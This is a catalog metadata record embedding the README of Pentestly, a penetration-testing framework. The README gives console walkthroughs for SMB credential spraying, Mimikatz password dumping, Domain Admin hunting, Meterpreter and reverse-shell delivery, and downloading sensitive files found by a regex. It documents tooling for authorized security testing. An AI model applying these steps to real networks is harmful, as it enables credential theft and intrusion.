{"id":13844278,"url":"https://github.com/praetorian-inc/pentestly","last_synced_at":"2025-07-11T22:31:16.193Z","repository":{"id":44449161,"uuid":"51841561","full_name":"praetorian-inc/pentestly","owner":"praetorian-inc","description":"Python and Powershell internal penetration testing framework","archived":true,"fork":false,"pushed_at":"2016-02-22T14:01:00.000Z","size":3402,"stargazers_count":719,"open_issues_count":3,"forks_count":140,"subscribers_count":92,"default_branch":"master","last_synced_at":"2024-11-21T16:40:41.004Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/praetorian-inc.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-02-16T14:24:23.000Z","updated_at":"2024-10-31T04:06:05.000Z","dependencies_parsed_at":"2022-09-05T05:41:01.727Z","dependency_job_id":null,"html_url":"https://github.com/praetorian-inc/pentestly","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/praetorian-inc/pentestly","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpentestly","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpentestly/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpentestly/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpentestly/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/praetorian-inc","download_url":"https://codeload.github.com/praetorian-inc/pentestly/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpentestly/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264909966,"owners_count":23682096,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:39.234Z","updated_at":"2025-07-11T22:31:15.748Z","avatar_url":"https://github.com/praetorian-inc.png","language":"Python","funding_links":[],"categories":["Python (1887)","Python"],"sub_categories":[],"readme":"# Pentestly\n\nPentestly is a combination of expanding Python tools for use in penetration tests. The goal is to utilize a familiar user interface while making contributions to the framework easy with the power of Python.\n\nBlog post: [Pentestly Framework: When Pentesting Meets Python and Powershell](https://www.praetorian.com/blog/pentestly-framework-when-pentesting-meets-python-and-powershell)\n\nAuthor: [@ctfhacker](https://twitter.com/ctfhacker) / Cory Duplantis\n\n# Demo\n\n[![asciicast](https://asciinema.org/a/3grjnat1nrs7lvti5kdjhcg9h.png)](https://asciinema.org/a/3grjnat1nrs7lvti5kdjhcg9h)\n\n# Current features\n\n* Import NMAP XML\n* Test SMB authentication using:\n    - individual credentials\n    - file containing credentials\n    - null credentials\n    - NTLM hash\n* Test local administrator privileges for successful SMB authentication\n* Identify readable SMB shares for valid credentials\n* Store Domain/Enterprise Admin account names\n* Determine location of running Domain Admin processes\n* Determine systems of logged in Domain Admins\n* Execute Powershell commands in memory and exfil results\n* Execute Mimikatz to gather plaintext password from memory ([Invoke-Mimikatz.ps1](https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikat://github.com/PowerShellMafia/PowerSploit))\n* Receive a command shell ([Powercat](https://github.com/besimorhino/powercat))\n* Receive a meterpreter session ([Invoke-Shellcode.ps1](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1))\n\n# Shoulders of Giants\n\nPentestly stands on the shoulders of giants. Below are the current tools utilized in Pentestly:\n\n* [recon-ng](https://bitbucket.org/LaNMaSteR53/recon-ng) - Backend database for recon-ng is beautifully made and leveraged in Pentestly for data manipulation\n* [wmiexec.py](https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py) - Allows us to execute Powershell commands quickly and easily via WMI\n* [smbmap.py](https://github.com/ShawnDEvans/smbmap) - Useful utility for enumerating SMB shares\n* [Invoke-Mimikatz.ps1](https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1) - Implementation of Mimikatz in Powershell\n* [powercat.ps1](https://github.com/besimorhino/powercat) - Netcat-esque functionality in Powershell\n* [Invoke-Shellcode.ps1](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1) - Deploy Meterpreter in Powershell\n\n* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - Source of inspiration for the simple Mimikatz server in Pentestly\n\n# Install\n```\ngit clone https://github.com/praetorian-inc/pentestly.git\n./install.sh\n./pentestly\n```\n\n# Usage\n\nLet's walk through several functions currently implemented.\n\n## Change workspace\n```\n[pentestly][default] \u003e workspaces list\n\n  +------------+\n  | Workspaces |\n  +------------+\n  | default    |\n  +------------+\n\n[pentestly][default] \u003e workspaces add project\n[pentestly][project] \u003e workspaces select project\n```\n\n## Load from nmap\n```\n[pentestly][project][nmap_xml] \u003e load nmap\n[pentestly][project][nmap_xml] \u003e set filename /root/PROJECT/full-all-alive.xml\nFILENAME =\u003e /root/PROJECT/full-all-alive.xml\n[pentestly][project][nmap_xml] \u003e show options\n\n  Name      Current Value                      Required  Description\n  --------  -------------                      --------  -----------\n  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input\n\n[pentestly][project][nmap_xml] \u003e run\n```\n\n## Test logins\nUse file with creds to test login\n```\n[pentestly][project][login] \u003e cat /tmp/creds\n[*] Command: cat /tmp/creds\nuser1 pass1\nuser2 pass2\n[pentestly][project][login] \u003e load login\n[pentestly][project][login] \u003e set userpass_file /tmp/creds\nUSERPASS_FILE =\u003e /tmp/creds\n[pentestly][project][login] \u003e set username ''\nUSERNAME =\u003e ''\n[pentestly][project][login] \u003e set password ''\nPASSWORD =\u003e ''\n[pentestly][project][login] \u003e run\n```\n\nUse single username password\n```\n[pentestly][project][login] \u003e load login\n[pentestly][project][login] \u003e set username admin\nUSERNAME =\u003e admin\n[pentestly][project][login] \u003e set password password\nPASSWORD =\u003e password\n[pentestly][project][login] \u003e set userpass_file ''\nUSERPASS_FILE =\u003e ''\n[pentestly][project][login] \u003e run\n```\n\nUse credentials over a small subset of IPs\ni.e. over the 192.168.8.0/24 found in the table\n```\n[pentestly][project][login] \u003e load login\n[pentestly][project][login] \u003e set username admin\nUSERNAME =\u003e admin\n[pentestly][project][login] \u003e set password password\nPASSWORD =\u003e password\n[pentestly][project][login] \u003e set userpass_file ''\nUSERPASS_FILE =\u003e ''\n[pentestly][project][login] \u003e run\n[pentestly][project][login] \u003e set source query select * from pentestly_creds where host like '192.168.8.%'\n```\n\n## Gather Domain and Enterprise admins\n```\n[pentestly][project][login] \u003e load get_domain # Notice fuzzy searching - get_domain finds get_domain_admin_names\n[pentestly][project][get_domain_admin_names] \u003e show options\n\n  Name    Current Value  Required  Description\n  ------  -------------  --------  -----------\n  SOURCE  default        yes       source of input (see 'show info' for details)\n\n[pentestly][project][get_domain_admin_names] \u003e run\n[*] Found Domain Admin: domain\\admin1\n[*] Found Domain Admin: domain\\admin2\n```\n\n## Run mimikatz over IPs with executable rights\n```\n[pentestly][default][get_domain_admin_names] \u003e load mimi\n[pentestly][default][mimikatz] \u003e run\nSelect local interface for hosting scripts\n\n0. 127.0.0.1\n1. 10.220.8.94\n2. 172.27.67.14\n\u003e 1\n\n[*] Execution creds: domain\\Admin:adminpassword@192.168.1.1\n[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!\n```\n\n## Show local admins\n```\n[pentestly][default][show_local_admins] \u003e load show_local_admins\n[pentestly][default][show_local_admins] \u003e run\n\n+---------------------------------------------------------------------------------------------------------------+\n|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |\n+---------------------------------------------------------------------------------------------------------------+\n| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |\n+---------------------------------------------------------------------------------------------------------------+\n```\n\n## Show domain admins\n```\n[pentestly][default][show_domain_admins] \u003e load show_domain_admins\n[pentestly][default][show_domain_admins] \u003e run\n\n+--------------------------------------------------------------------------------------------------------------------------+\n|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |\n+--------------------------------------------------------------------------------------------------------------------------+\n| 10.202.208.112 | Domain Admin  | TheRealDA | \u003c/l33TPassword\u003e | zojix  |         |           | True    | True    | login  |\n+--------------------------------------------------------------------------------------------------------------------------+\n```\n\n## Enumshares\n\n```\n[pentestly][default] \u003e load enums\n[pentestly][default][enumshares] \u003e run\n[*] Execution creds: workgroup\\Administrator:BadAdminPassword@192.168.224.252\ndefaultdict(\u003ctype 'list'\u003e, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})\n```\n\n## Show new shares\n\n```\n[pentestly][default][interesting_files] \u003e show pentestly_shares\n\n+------------------------------------------------------------------------------------------------+\n| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |\n+-------------------------------------------------------------------------------------------------+\n| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |\n+-------------------------------------------------------------------------------------------------+\n```\n\n## Find/Download interesting files\n\n```\n[pentestly][default][interesting_files] \u003e show options\n\n    Name     Current Value                                                                                                                              Required  Description\n    -------  -------------                                                                                                                              --------  -----------\n    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames\n    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)\n```\n\nCan change the `pattern` to something a bit more specialized\n\n```\n[pentestly][default][interesting_files] \u003e set pattern important.txt|super_secret\nPATTERN =\u003e important.txt|super_secret\n[pentestly][default][interesting_files] \u003e show options\n\n    Name     Current Value               Required  Description\n    -------  -------------               --------  -----------\n    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames\n    SOURCE   default                     yes       source of input (see 'show info' for details)\n```\n\nExecute and download found files\n\n```\n[pentestly][default][interesting_files] \u003e run\n[*] Administrator\n[*] Execution creds: workgroup\\Administrator:BadAdminPassword@192.168.224.252\n[+] Match found! Downloading: Users\\Administrator\\Desktop\\important.txt.txt\n192.168.224.252-Users_Administrator_Desktop_important.txt.txt\n[+] Match found! Downloading: Users\\Administrator\\Desktop\\super_secret.txt\n192.168.224.252-Users_Administrator_Desktop_super_secret.txt\n```\n\n# Contributing\n\nCreating new modules is easy in Pentestly. Begin with the code provided in `skeleton.py`:\n\n```\nfrom libs.pentestlymodule import PentestlyModule\n\nclass Module(PentestlyModule):\n\n    meta = {\n        'name': 'Your module name goes here',\n        'author': 'Developer name goes here',\n        'description': 'Description of the module goes here',\n        'query': 'SQL QUERY whose result is passed to your module',\n        'options': (\n            ('Option1', 'Default Value', Required-True/False, 'Description of option'),\n        ),\n    }\n\n    def module_pre(self):\n        # Optional\n        # Happens before your module\n\n    def module_run(self, data):\n        # Required\n        # data is the result from the SQL query set in the options\n        \n        ### Few magic functions\n        # self.query - Perform an SQL query on the internal database\n        results = self.query(\"select * from pentestly_creds\")\n        \n        # self.output - print default information to the user\n        self.output(\"Performed an SQL query\")\n        self.output(results)\n\n        # self.alert - print successful message to the user\n        self.success(\"Yay! We performed successful work\")\n\n    def module_post(self):\n        # Optional\n        # Happens after your module\n```\n\nThe key points here are to fill the `meta` dict with the corresponding information as well as the `module_run` function for module functionality.\n\nThis script is then placed in the `modules/` folder or in your personal `~/.pentestly/modules` folder for portability.\n\nStay tuned for a detailed example script explanation in the coming weeks.\n\n# TODO\n* Implement `secretsdump.py` module\n* Add utility functions for database queries similar to `creds`, `services`\n* Rework draw_table function to have fixed width columns\n* Import credentials from [Gladius](https://github.com/praetorian-inc/gladius)\n* Implement GPP password search and decrypt module\n* Look into utilizing Invoke-Shellcode\n\n# Changelog\n\n0.1.0 (2016-02-18)\n------------------\nInitial release\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpraetorian-inc%2Fpentestly","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpraetorian-inc%2Fpentestly","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpraetorian-inc%2Fpentestly/lists"}